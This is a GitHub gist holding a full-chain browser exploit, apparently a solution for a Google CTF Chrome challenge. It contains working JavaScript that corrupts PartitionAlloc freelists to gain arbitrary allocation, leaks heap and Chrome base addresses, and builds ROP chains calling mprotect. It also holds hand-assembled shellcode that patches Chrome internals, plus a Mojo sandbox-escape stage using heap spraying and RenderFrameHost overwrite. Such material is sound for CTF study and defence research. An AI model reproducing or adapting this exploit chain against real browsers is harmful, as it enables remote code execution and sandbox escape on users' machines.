Created
January 2, 2022 21:34
Revisions
-
hkraw created this gist
Jan 2, 2022 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,462 @@ <html> <head> <title>google-ctf fullchain</title> </head> <body> <h1>HK</h1> <pre id='log'></pre> </body> <script src='./mojo/mojo_bindings.js'></script> <script src="./mojo/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> <script src='./mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js'></script> <script id='helpers'> const L_pop_rsp = 0xb01caf1n const L_syscall_ret = 0x800dd77n const L_pop_rax = 0x36b1bc4n const L_pop_rdi = 0xb37a33bn const L_pop_rdx = 0xb8dfaa2n const L_pop_rsi = 0xb49636fn let wasm_code = new Uint8Array([ 0, 97,115,109, 1, 0, 0, 0, 1,133,128,128,128, 0, 1, 96, 0, 1,127, 3,130,128,128,128, 0, 1, 0, 4, 132,128,128,128, 0, 1,112, 0, 0, 5,131,128,128,128, 0, 1, 0, 1, 6,129,128,128,128, 0, 0, 7,145,128, 128,128, 0,2,6,109,101,109,111,114,121,2,0,4,109,97, 105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0, 0,65,42,11 ]) var wasmModule = new WebAssembly.Module(wasm_code) var wasmInstance = new WebAssembly.Instance(wasmModule) var evilFunc = wasmInstance.exports.main let conversionBuffer = new ArrayBuffer(0x40) let floatView = new Float64Array(conversionBuffer) let intView = new BigUint64Array(conversionBuffer) let u8View = new Uint8Array(conversionBuffer) BigInt.prototype.hex = function(){return '0x' + this.toString(16) } BigInt.prototype.i2f = function(){intView[0] = this;return floatView[0]} BigInt.prototype.smi2f = function(){intView[0] = this << 32n; return floatView[0] } BigInt.prototype.shl32 = function(){return this << 32n} BigInt.prototype.shr32 = function(){return this >> 32n } String.prototype.to_u64 = function(){ var tmp = this while(tmp.length%8) tmp += "\x00" for(let i = 0; i < 8; i++) u8View[i] = tmp.charCodeAt(i) return intView[0] } BigInt.prototype.byteSwap = function(){ var result = 0n var tmp = this for(let i = 0; i < 8; i++) { result = result << 8n result += tmp & 255n tmp = tmp >> 8n } return result } BigInt.prototype.not = function() { var result = 0n var tmp = this for(var i = 0; i < 8; i++) { result = result << 8n result += (0xffn - (tmp&0xffn)) tmp = tmp >> 8n } return result } Number.prototype.f2i = function(){floatView[0] = this;return intView[0]} Number.prototype.f2smi = function(){floatView[0] = this;return intView[0] >> 32n} Number.prototype.f2il = function(){floatView[0] = this;return intView[0] & 0xffffffffn} Number.prototype.i2f = function(){return BigInt(this).i2f()} Number.prototype.smi2f = function(){return BigInt(this).smi2f()} const getSuperPage = addr => addr & (~((1n << 21n) - 1n)) const getPartitionPageBaseWithinSuperPage = ( addr, partitionPageIndex ) => getSuperPage(addr) + partitionPageIndex << 14n const getMetadataArea = addr => getSuperPage(addr) + 0x1000n const getPartitionPageMetadataArea = addr => getMetadataArea(addr) + ((addr & ((1n << 21n) - 1n)) >> 14n) * 0x20n const sleep = ms => new Promise(resolve=>setTimeout(resolve,ms)) const gc = () => { let promise = new Promise((cb)=>{ let arg; for(let i = 0; i < 50; i++) new ArrayBuffer(0x100000) cb(arg) }) return promise } function getAllocationConstructor() { let blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); Mojo.bindInterface(blink.mojom.BlobRegistry.name, mojo.makeRequest(blob_registry_ptr).handle, "process", true); function Allocation(size=280) { function ProgressClient(allocate) { function ProgressClientImpl() {} ProgressClientImpl.prototype = { onProgress: async (arg0) => { if (this.allocate.writePromise) { this.allocate.writePromise.resolve(arg0); } } }; this.allocate = allocate; this.ptr = new mojo.AssociatedInterfacePtrInfo(); var progress_client_req = mojo.makeRequest(this.ptr); this.binding = new mojo.AssociatedBinding( blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req ); return this; } this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size}); this.progressClient = new ProgressClient(this); blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => { this.serialized_blob = res.blob; }) this.malloc = async function(data) { promise = new Promise((resolve, reject) => { this.writePromise = {resolve: resolve, reject: reject}; }); this.pipe.producer.writeData(data); this.pipe.producer.close(); written = await promise; console.assert(written == data.byteLength); } this.free = async function() { this.serialized_blob.blob.ptr.reset(); await new Promise(resolve=>setTimeout(resolve, 100)); } this.read = function(offset, length) { this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length}); this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null); return new Promise((resolve) => { this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => { result = new ArrayBuffer(length); this.readpipe.consumer.readData(result); this.watcher.cancel(); resolve(result); })}); } this.readQword = async function(offset) { let res = await this.read(offset, 8); return (new DataView(res)).getBigUint64(0, true); } return this; } async function allocate(data) { let allocation = new Allocation(data.byteLength); await allocation.malloc(data); return allocation; } return allocate; } async function heapSpray( allocator, data, size) { return Promise.all( Array(size).fill().map( () => allocator(data) )); } </script> <script> if(typeof(Mojo)!=='undefined') { (async function() { function createIframe(htmlContent) { var iframe = document.createElement("iframe") document.body.appendChild(iframe) iframe.contentWindow.document.open() iframe.contentWindow.document.write(htmlContent) iframe.contentWindow.document.close() return iframe } console.log('Mojo Enabled') let ctf_ptrs = new Array() let allocator = getAllocationConstructor() for(var i = 0; i < 0x10; i++) { ctf_ptrs.push(new blink.mojom.CtfInterfacePtr()) Mojo.bindInterface(blink.mojom.CtfInterface.name, mojo.makeRequest(ctf_ptrs[i]).handle) } await sleep(1000) var iframes = [] for(var i = 0; i < 0x10; i++) { iframes.push(createIframe('<html></html>')) } for(var i = 0; i < 0x10; i++) { await ctf_ptrs[i].resizeVector(0x2400/8) await ctf_ptrs[i].write(1.1, 0) await sleep(100) } await ctf_ptrs[1].ptr.reset() await ctf_ptrs[2].ptr.reset() for(var i = 0; i < 0x3; i++) { document.body.removeChild(iframes[i]) } /* RFH OFFSET 0x3bb600 */ let heap_leak = (await ctf_ptrs[0].read((0x4800)/8)).value.f2i().byteSwap() let superPage = getSuperPage(heap_leak) let metaPage = getMetadataArea(heap_leak) let partitionPageMeta = getPartitionPageMetadataArea(heap_leak) let partition_Base = (heap_leak >> 32n) << 32n console.log('[+] Heap Leak: 0x' + heap_leak.toString(16)) console.log('[+] MetaPage: 0x'+metaPage.toString(16)) console.log('[+] partitionPageMeta: 0x' + partitionPageMeta.toString(16)) console.log('[+] Partition base: 0x' + partition_Base.toString(16)) await ctf_ptrs[0].write((heap_leak - BigInt(0xae00)).byteSwap().i2f(),0x4800/8) await ctf_ptrs[0].write((heap_leak - BigInt(0xae00)).not().i2f(), (0x4800/8) + 1) for(var i = 1; i <= 2; i++) { ctf_ptrs[i] = new blink.mojom.CtfInterfacePtr() Mojo.bindInterface(blink.mojom.CtfInterface.name, mojo.makeRequest(ctf_ptrs[i]).handle) } await ctf_ptrs[1].resizeVector(0x2400/8) await ctf_ptrs[2].resizeVector(0x2400/8) /* OOB to RenderFrameHost */ let chrome_leak = (await ctf_ptrs[2].read((0x4800/8) + 2 )).value.f2i() let chrome_base = chrome_leak - 0xbc694f0n console.log('[+] Target Allocation addr: 0x' +(partition_Base + BigInt(0x3bb600)).toString(16)) console.log('[+] Chrome base: 0x'+chrome_base.toString(16)) var shellcode = [ 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, ] console.log('shellcode len: 0x'+shellcode.length.toString(16)) let S_code = new ArrayBuffer(0x2400) let scode_array_uint8 = new Uint8Array(S_code) for(var i = 0; i < shellcode.length; i++) { scode_array_uint8[i] = shellcode[i] } await sleep(1000) console.log('Now') /* Shellcode Vector */ let blob = await heapSpray(allocator, S_code, 1) /* 0xa64000 */ console.log('[+] Shellcode addr: 0x'+ (heap_leak - 0xc000n).toString(16)) let L_ROP = [ (heap_leak - BigInt(0xae00)).i2f(), (chrome_base + L_pop_rdi).i2f(), (heap_leak - BigInt(0xc400)).i2f(), (chrome_base + L_pop_rsi).i2f(), (0x3000n).i2f(), (chrome_base + L_pop_rdx).i2f(), 0x7n.i2f(), (chrome_base + L_pop_rax).i2f(), 0xan.i2f(), (chrome_base + L_syscall_ret).i2f(), ( (heap_leak - BigInt(0xc000) )).i2f(), 0x41414141n.i2f() ] for(var i = 0; i < L_ROP.length; i++) { await ctf_ptrs[2].write(L_ROP[i], i) } await ctf_ptrs[2].write((chrome_base + BigInt(0x3d9d013)).i2f(), 0x118/8) await ctf_ptrs[2].write((heap_leak - BigInt(0xae00)).i2f(), (0x2400/8)) iframes[4].contentWindow.document.open() /* Trigger */ })() } else { (async function() { const partitionAlloc_hook = 0xc3abe10 const wasmInstance_offset = 0x82865c9 const ptrCompare_cage = 0xc37afa0 await gc(); await gc(); await gc(); await gc(); var no_gc = new Array() var ab1 = new ArrayBuffer(0x10) var array1 = new Uint8Array(ab1).fill(0x41) var array2 = new Uint8Array(1) array2[0] = 0x00 array1.set(array2,0x17) array2[0] = 0x11 array1.set(array2,0x16) array2[0] = 0xff array1.set(array2,0x17+0x8) array2[0] = 0xee array1.set(array2,0x17+0x7) no_gc.push(ab1) no_gc.push(array2) no_gc.push(new ArrayBuffer(0x10)) var superPageAllocation = new BigUint64Array(new ArrayBuffer(0x10)) no_gc.push(superPageAllocation) var tmp_buffer = new ArrayBuffer(0x100) var arrayBuffer_leak = superPageAllocation[0] let superPage = getSuperPage(arrayBuffer_leak) let metaPage = getMetadataArea(arrayBuffer_leak) let partitionPage = getPartitionPageMetadataArea(arrayBuffer_leak) console.log('[+] PartitionHeap leak: 0x' + arrayBuffer_leak.toString(16)) console.log('[+] SuperPage: 0x' + superPage.toString(16)) console.log('[+] MetaData Area: 0x' + metaPage.toString(16)) console.log('[+] PartitionPage: 0x' + partitionPage.toString(16)) await gc(); await gc(); await gc(); await gc(); let victim = new Uint8Array(new ArrayBuffer(0x10)) array2[0] = 0x30 victim.set(array2, 0x17) array2[0] = 0x11 victim.set(array2, 0x16) array2[0] = 0xff - (0x30) victim.set(array2, 0x17+0x8) array2[0] = 0xff - (0x11) victim.set(array2, 0x17+0x7) no_gc.push(new ArrayBuffer(0x10)) var leakChromeBuffer = new BigUint64Array(new ArrayBuffer(0x10)) var tmp_buffer = new ArrayBuffer(0x200) let chrome_leak = leakChromeBuffer[0] let chrome_base = chrome_leak - 0xc51dbd8n console.log('[+] Chrome base: 0x' + chrome_base.toString(16)) let arb_alloc_buffer = new ArrayBuffer(0x10) let arb_typed_arr = new BigUint64Array(arb_alloc_buffer) let partition = undefined function arb_alloc(address, size, hookOverride=undefined) { let victim = new BigUint64Array(new ArrayBuffer(size)) no_gc.push(victim) arb_typed_arr[0] = BigInt(address).byteSwap() arb_typed_arr[1] = BigInt(address).not() if(size != 8) { victim.set(arb_typed_arr, (size/8)) } else { victim.set(arb_typed_arr, (size/8)+1) } no_gc.push(new ArrayBuffer(size)) return new ArrayBuffer(size) } await gc(); await gc(); await gc(); function build_ropchain(arrayBuffer, rop_chain) { var tmp = 0n for(var i = 0; i < rop_chain.length; i++) { tmp = rop_chain[i] for(var j = 1; j < 9; j++) { arrayBuffer[i] = Number(tmp&0xffn) tmp >>= 8n } } } let L_ROP_CHAIN = new Uint8Array(0x100*8) let builder = new BigUint64Array(0x100) builder[1] = chrome_base + 0x7490e83n builder[0x8] = 0x41414141n builder[0x9] = 0x41414141n builder[0xa] = 0x41414141n builder[0xb] = 0x41414141n builder[0xc] = chrome_base + L_pop_rdi builder[0xd] = chrome_base builder[0xe] = chrome_base + L_pop_rsi builder[0xf] = 0xc56d000n builder[0x10] = chrome_base + L_pop_rdx builder[0x11] = 7n builder[0x12] = chrome_base + L_pop_rax builder[0x13] = 0xan builder[0x14] = chrome_base + L_syscall_ret builder[0x15] = chrome_base + L_pop_rdi builder[0x16] = superPage + 0x38000n builder[0x17] = chrome_base + L_pop_rsi builder[0x18] = 0x1000n builder[0x19] = chrome_base + L_pop_rax builder[0x1a] = 0xan builder[0x1b] = chrome_base + L_syscall_ret builder[0x1c] = superPage + 0x38000n var tmp = 0n var counter = 1 for(var i = 0; i < builder.length; i++) { tmp = builder[i] for(var j = 0; j < 8; j++) { L_ROP_CHAIN[counter] = Number(tmp&0xffn) tmp >>= 8n counter++ } } partition_hook = new BigUint64Array(arb_alloc(chrome_base + BigInt(partitionAlloc_hook), 0x30)) const roundUp = (value, multiple) => (value + multiple - 1) & ~(multiple - 1); function I64ToBytes(num) { let numh = Number(num/0x100000000n); let numl = Number(num&0xffffffffn); var result = []; for (let j = 0; j < 4; ++j) result.push((numl >>> 8 * j) & 0xff); for (let j = 0; j < 4; ++j) result.push((numh>>> 8 * j) & 0xff); return result; } function flatten(array) { let result = new Array(array.length), index = 0, flattenInternal = (array, result) => { for (let element of array) { if (Array.isArray(element)) flattenInternal(element, result) else result[index++] = element; } } flattenInternal(array, result); result.length = index; return result; } function prepareBytes(shellcode) { let flatArray = flatten(shellcode), roundUpLength = roundUp(flatArray, 8), result = []; while (flatArray.length < roundUpLength) flatArray.push(0x90); return flatArray; } let shellcode = new Uint8Array(prepareBytes([ 0x48, 0xbf, I64ToBytes(superPage + BigInt(0x28009)), //mov rdi, rsp holder 0x48, 0xb9, I64ToBytes(chrome_base + BigInt(0x13f7a4f)), //WTF 0x48, 0x8b, 0x27, // mov rsp, [rdi] 0x48, 0x89, 0xe7, // mov rsp, rdi 0x48, 0x89, 0xe5, // mov rbp, rsp 0x48, 0x83, 0xed, 0x20, // sub rbp, 0x20 0x48, 0x83, 0xec, 0x40, // sub rsp, 0x40 0x48, 0xc7, 0xc2, 0x00, 0x10, 0x00, 0x00, // mov rdx, 0x1000 0x48, 0xb8, I64ToBytes(chrome_base + BigInt(partitionAlloc_hook)), // mov rax, base::PartitionAllocHooks::hooks_enabled_ 0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, // add rsp, 0xe8 0xc6, 0x00, 0x01, // mov byte ptr [rax], 1 0x48, 0x83, 0xc0, 0x10, // add rax, 0x10 0x49, 0xb8, I64ToBytes(chrome_base + BigInt(L_pop_rdi+1n)), // mov r8, instr ret 0x4c, 0x89, 0x00, // mov qword ptr [rax], r8 0x48, 0x83, 0xc0, 0x08, // add rax, 0x8 0x49, 0xb8, I64ToBytes(0n), // mov r8, 0 0x4c, 0x89, 0x00, // mov qword ptr [rax], r8 0x48, 0x83, 0xc0, 0x08, // add rax, 0x8 0x49, 0xb8, I64ToBytes(chrome_base + BigInt(L_pop_rdi+1n)), // mov r8, instr ret 0x4c, 0x89, 0x00, // mov qword ptr [rax], r8 0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0x6100c14)), // mov r8, base::PartitionPurgePage<true>(base::internal::PartitionPage<true> 0x41, 0xc6, 0x00, 0xc3, // mov byte ptr [r8], 0xc3 0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0xad8f379)), // mov r8, DidCreateScriptContext()+105 0x66, 0x41, 0xc7, 0x00, 0x90, 0x90, // mov word ptr [r8], 0x9090 0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0x5406e60)), //mov r8, SweepFull() 0x41, 0xc6, 0x00, 0xc3, // mov byte ptr [r8], 0xc3 0xc3, // ret ])); /* xchg rsp, rax */ partition_hook[0] = superPage + BigInt(0x28001) partition_hook[3] = chrome_base + BigInt(0x3d9d013) let chrome_data_section = new ArrayBuffer(0x10) await gc();await gc();await gc();await gc(); location.reload() })() } </script>